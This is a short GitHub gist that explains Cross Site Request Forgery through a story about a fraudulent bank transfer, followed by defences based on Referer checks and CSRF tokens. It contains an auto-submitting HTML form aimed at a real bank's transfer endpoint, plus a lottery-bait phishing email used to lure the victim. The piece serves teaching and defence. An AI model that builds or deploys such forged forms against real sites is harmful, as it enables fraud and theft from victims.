Skip to content

Instantly share code, notes, and snippets.

@kamleshchandnani
Created September 27, 2019 08:01
Show Gist options
  • Save kamleshchandnani/187a41e0b38bb2b31f44969bfb4ccb18 to your computer and use it in GitHub Desktop.
Save kamleshchandnani/187a41e0b38bb2b31f44969bfb4ccb18 to your computer and use it in GitHub Desktop.
CSRF Attack

CSRF

So let's discuss about CSRF

The What?

CSRF stands for Cross Site Request Forgery. It's a kind of attack that mostly happens by compromising users cookies and perform an action which a user didn't intend to.

The How?

  • Imagine there's an attacker by the name Kamlesh and the Victim by the name Shankar.
  • Now Kamlesh wants to to do a malicious bank transaction from Shankar's account to his own account. Let's take HDFC bank for an example here.
  • To begin with Kamlesh logs on to his own HDFC bank account and then navigates to transactions page and clicks on view page source and copies the amount transform html form. Assume this is what a typical form looks like
<html lang="en">
  <body>
    <form method="POST" name="fundsTransferForm" action="/funds-transfer">
      <label for="from-account">From Account</label>
      <input name="from-account" type="text" value="1234667899007234"/>
      <label for="to-account">To Account</label>
      <input name="to-account" type="text" value=""/>
      <label for="amount">Amount</label>
      <input name="amount" type="number" value="0"/>
      <button type="submit">Submit</button>
    </form>
  </body>
</html>
  • Kamlesh takes this form and modifies a little bit and hosts it on his own domain.
<html lang="en">
  <body onLoad="document.fundsTransferForm.submit()"><!-- Submit the form as soon as the page is loaded -->
    <form method="POST" name="fundsTransferForm" action="https://hdfcbank.com/funds-transfer"><!-- Add the domain to which this form will be submitted -->
      <label for="from-account">From Account</label>
      <input name="from-account" type="text" value="1234667899007234"/>
      <label for="to-account">To Account</label>
      <input name="to-account" type="text" value="4455667654577654"/> <!-- Kamlesh's account number-->
      <label for="amount">Amount</label>
      <input name="amount" type="number" value="1000000"/>
      <button type="submit">Submit</button>
    </form>
  </body>
</html>
  • Assume this form is hosted on custombanktransfer.com
  • As a first step Kamlesh will send an email with a link to Shankar stating Hey you've won a lottery worth 10 lacs. Click here to know about the claim details.
  • The link opens up custombanktransfer.com with our modified form
  • Shankar is already logged in to HDFC bank portal and which means his cookies are set for hdfcbank.com.
  • As soon as Shankar clicks on the malicious link the form auto submits on page load and since the form action mentions https://hdfcbank.com/funds-transfer which means the cookies set for hdfcbank.com will also be sent along with this request and the attack will be successful and 10 lacs will be transfered to Kamlesh's account.

Preventive Measures

We can prevent this action using different approaches.

  1. Referer Identity header - The Referer request header contains the address of the previous web page from which a link to the currently requested page was followed. Using this we can put checks on our servers that what all referer's are allowed to make certain actions and whitelist them so for example for our above use case we can add a check on our servers that if the referer header is set to anything apart from hdfcbank.com just reject the request. But this can be compromised and sometimes the referer's headers are not being sent by some of the browsers and maintaining the whitelist referer's list is also a pain and risky.
  2. CSRF tokens - CSRF tokens are unique indentifiers that a server assigns to client and expects them to send that back whenever a request is submitted. CSRF tokens are a better approach and the way it works is as follows:
  • Whenever a page is requested so let's say in our case we navigate to hdfcbank.com/funds-transfer page the form loaded will have a hidden field which will have the token that a server assigns based on user's session
<html lang="en">
  <body>
    <form method="POST" name="fundsTransferForm" action="/funds-transfer">
      <input name="csrf_token" type="hidden" value="1234xxffsvcajkeawe"/> <!-- A unique identifier that the server assigns -->
      <label for="from-account">From Account</label>
      <input name="from-account" type="text" value="1234667899007234"/>
      <label for="to-account">To Account</label>
      <input name="to-account" type="text" value=""/>
      <label for="amount">Amount</label>
      <input name="amount" type="number" value="0"/>
      <button type="submit">Submit</button>
    </form>
  </body>
</html>
  • Since this token is unique for every session of a user it get's sent along with every request made by a user as part of form based on which a server identifies the authenticity of the request. The attacker cannot mimic this token and if he can't mimic this token which means the attack cannot be made. 🥁
@rzp-kgopi
Copy link

Well written..

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment